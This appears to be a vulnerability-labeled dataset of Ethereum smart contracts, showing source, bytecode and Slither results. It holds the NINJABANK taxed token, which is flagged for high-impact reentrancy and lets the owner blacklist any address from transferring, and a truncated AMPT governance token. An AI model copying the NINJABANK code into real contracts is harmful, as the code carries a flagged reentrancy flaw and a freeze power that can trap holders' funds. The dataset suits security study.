address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x50cd66a8008becd0b108cea3147f27eef78fd0a3
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NINJABANK is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "NINJABANK"; string private constant _symbol = "NINJABANK"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxHeldAmount = _tTotal; uint256 private _maxBuyAmount = _tTotal; event MaxTxAmountUpdated(uint _maxHeldAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x1e760BD6B73d5009597A2fa8bA234B537DD2209c); _buyTax = 15; _sellTax = 15; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxBuyAmount); require(amount.add(walletBalance) <= _maxHeldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxBuyAmount = 5000000000 * 10**9; _maxHeldAmount = 20000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 5000000000 * 10**9) { _maxHeldAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610316578063c3c8cd8014610336578063c9567bf91461034b578063dbe8272c14610360578063dc1052e214610380578063dd62ed3e146103a057600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b411461013a5780639e78fb4f146102e1578063a9059cbb146102f657600080fd5b8063273123b7116100f2578063273123b714610213578063313ce5671461023357806346df33b71461024f5780636fc3eaec1461026f57806370a082311461028457600080fd5b806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab5780631bbae6e0146101d157806323b872dd146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201825260098152684e494e4a4142414e4b60b81b6020820152905161017291906118dd565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611764565b6103e6565b6040519015158152602001610172565b3480156101b757600080fd5b50683635c9adc5dea000005b604051908152602001610172565b3480156101dd57600080fd5b506101f16101ec366004611896565b6103fd565b005b3480156101ff57600080fd5b5061019b61020e366004611723565b610449565b34801561021f57600080fd5b506101f161022e3660046116b0565b6104b2565b34801561023f57600080fd5b5060405160098152602001610172565b34801561025b57600080fd5b506101f161026a36600461185c565b6104fd565b34801561027b57600080fd5b506101f1610545565b34801561029057600080fd5b506101c361029f3660046116b0565b610579565b3480156102b057600080fd5b506101f161059b565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102ed57600080fd5b506101f161060f565b34801561030257600080fd5b5061019b610311366004611764565b61084e565b34801561032257600080fd5b506101f1610331366004611790565b61085b565b34801561034257600080fd5b506101f16108f1565b34801561035757600080fd5b506101f1610931565b34801561036c57600080fd5b506101f161037b366004611896565b610b06565b34801561038c57600080fd5b506101f161039b366004611896565b610b3e565b3480156103ac57600080fd5b506101c36103bb3660046116ea565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f3338484610b76565b5060015b92915050565b6000546001600160a01b031633146104305760405162461bcd60e51b815260040161042790611932565b60405180910390fd5b674563918244f400008111156104465760108190555b50565b6000610456848484610c9a565b6104a884336104a385604051806060016040528060288152602001611ac9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb8565b610b76565b5060019392505050565b6000546001600160a01b031633146104dc5760405162461bcd60e51b815260040161042790611932565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105275760405162461bcd60e51b815260040161042790611932565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056f5760405162461bcd60e51b815260040161042790611932565b4761044681610ff2565b6001600160a01b0381166000908152600260205260408120546103f79061102c565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161042790611932565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161042790611932565b600f54600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610427565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b91906116cd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab91906116cd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b91906116cd565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f3338484610c9a565b6000546001600160a01b031633146108855760405162461bcd60e51b815260040161042790611932565b60005b81518110156108ed576001600660008484815181106108a9576108a9611a79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e581611a48565b915050610888565b5050565b6000546001600160a01b0316331461091b5760405162461bcd60e51b815260040161042790611932565b600061092630610579565b9050610446816110b0565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161042790611932565b600e5461097c9030906001600160a01b0316683635c9adc5dea00000610b76565b600e546001600160a01b031663f305d719473061099881610579565b6000806109ad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1057600080fd5b505af1158015610a24573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4991906118af565b5050600f8054674563918244f400006011556801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ace57600080fd5b505af1158015610ae2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104469190611879565b6000546001600160a01b03163314610b305760405162461bcd60e51b815260040161042790611932565b600f81101561044657600b55565b6000546001600160a01b03163314610b685760405162461bcd60e51b815260040161042790611932565b600f81101561044657600c55565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610427565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610427565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610427565b6001600160a01b038216610d605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610427565b60008111610dc25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610427565b6001600160a01b03831660009081526006602052604090205460ff1615610de857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2a57506001600160a01b03821660009081526005602052604090205460ff16155b15610fa8576000600955600c54600a55600f546001600160a01b038481169116148015610e655750600e546001600160a01b03838116911614155b8015610e8a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9f5750600f54600160b81b900460ff165b15610eda576000610eaf83610579565b9050601154821115610ec057600080fd5b601054610ecd8383611239565b1115610ed857600080fd5b505b600f546001600160a01b038381169116148015610f055750600e546001600160a01b03848116911614155b8015610f2a57506001600160a01b03831660009081526005602052604090205460ff16155b15610f3b576000600955600b54600a555b6000610f4630610579565b600f54909150600160a81b900460ff16158015610f715750600f546001600160a01b03858116911614155b8015610f865750600f54600160b01b900460ff165b15610fa657610f94816110b0565b478015610fa457610fa447610ff2565b505b505b610fb3838383611298565b505050565b60008184841115610fdc5760405162461bcd60e51b815260040161042791906118dd565b506000610fe98486611a31565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ed573d6000803e3d6000fd5b60006007548211156110935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610427565b600061109d6112a3565b90506110a983826112c6565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110f8576110f8611a79565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114c57600080fd5b505afa158015611160573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118491906116cd565b8160018151811061119757611197611a79565b6001600160a01b039283166020918202929092010152600e546111bd9130911684610b76565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f6908590600090869030904290600401611967565b600060405180830381600087803b15801561121057600080fd5b505af1158015611224573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061124683856119d8565b9050838110156110a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610427565b610fb3838383611308565b60008060006112b06113ff565b90925090506112bf82826112c6565b9250505090565b60006110a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611441565b60008060008060008061131a8761146f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061134c90876114cc565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461137b9086611239565b6001600160a01b03891660009081526002602052604090205561139d8161150e565b6113a78483611558565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ec91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061141b82826112c6565b82101561143857505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836114625760405162461bcd60e51b815260040161042791906118dd565b506000610fe984866119f0565b600080600080600080600080600061148c8a600954600a5461157c565b925092509250600061149c6112a3565b905060008060006114af8e8787876115d1565b919e509c509a509598509396509194505050505091939550919395565b60006110a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b60006115186112a3565b905060006115268383611621565b306000908152600260205260409020549091506115439082611239565b30600090815260026020526040902055505050565b60075461156590836114cc565b6007556008546115759082611239565b6008555050565b600080808061159660646115908989611621565b906112c6565b905060006115a960646115908a89611621565b905060006115c1826115bb8b866114cc565b906114cc565b9992985090965090945050505050565b60008080806115e08886611621565b905060006115ee8887611621565b905060006115fc8888611621565b9050600061160e826115bb86866114cc565b939b939a50919850919650505050505050565b600082611630575060006103f7565b600061163c8385611a12565b90508261164985836119f0565b146110a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610427565b80356116ab81611aa5565b919050565b6000602082840312156116c257600080fd5b81356110a981611aa5565b6000602082840312156116df57600080fd5b81516110a981611aa5565b600080604083850312156116fd57600080fd5b823561170881611aa5565b9150602083013561171881611aa5565b809150509250929050565b60008060006060848603121561173857600080fd5b833561174381611aa5565b9250602084013561175381611aa5565b929592945050506040919091013590565b6000806040838503121561177757600080fd5b823561178281611aa5565b946020939093013593505050565b600060208083850312156117a357600080fd5b823567ffffffffffffffff808211156117bb57600080fd5b818501915085601f8301126117cf57600080fd5b8135818111156117e1576117e1611a8f565b8060051b604051601f19603f8301168101818110858211171561180657611806611a8f565b604052828152858101935084860182860187018a101561182557600080fd5b600095505b8386101561184f5761183b816116a0565b85526001959095019493860193860161182a565b5098975050505050505050565b60006020828403121561186e57600080fd5b81356110a981611aba565b60006020828403121561188b57600080fd5b81516110a981611aba565b6000602082840312156118a857600080fd5b5035919050565b6000806000606084860312156118c457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561190a578581018301518582016040015282016118ee565b8181111561191c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b75784516001600160a01b031683529383019391830191600101611992565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119eb576119eb611a63565b500190565b600082611a0d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a2c57611a2c611a63565b500290565b600082821015611a4357611a43611a63565b500390565b6000600019821415611a5c57611a5c611a63565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461044657600080fd5b801515811461044657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f33c414775411b503cff50c2543e790b629ceef62401024cc9ab8ceca18e78164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
0
0xe5c4a238c7c80c1c312e8f36e21d5f0aba40c5b7
/** *Submitted for verification at Etherscan.io on 2020-10-30 */ /** *Submitted for verification at Etherscan.io on 2020-03-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; contract AMPT { /// @notice EIP-20 token name for this token string public constant name = "Amplify Token"; /// @notice EIP-20 token symbol for this token string public constant symbol = "AMPT"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 100000000e18; // 100 million AMPT /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new AMPT token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "AMPT::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "AMPT::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "AMPT::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "AMPT::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "AMPT::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "AMPT::delegateBySig: invalid nonce"); require(now <= expiry, "AMPT::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "AMPT::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "AMPT::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "AMPT::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "AMPT::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "AMPT::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "AMPT::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "AMPT::_moveVotes: vote amount overflows"); 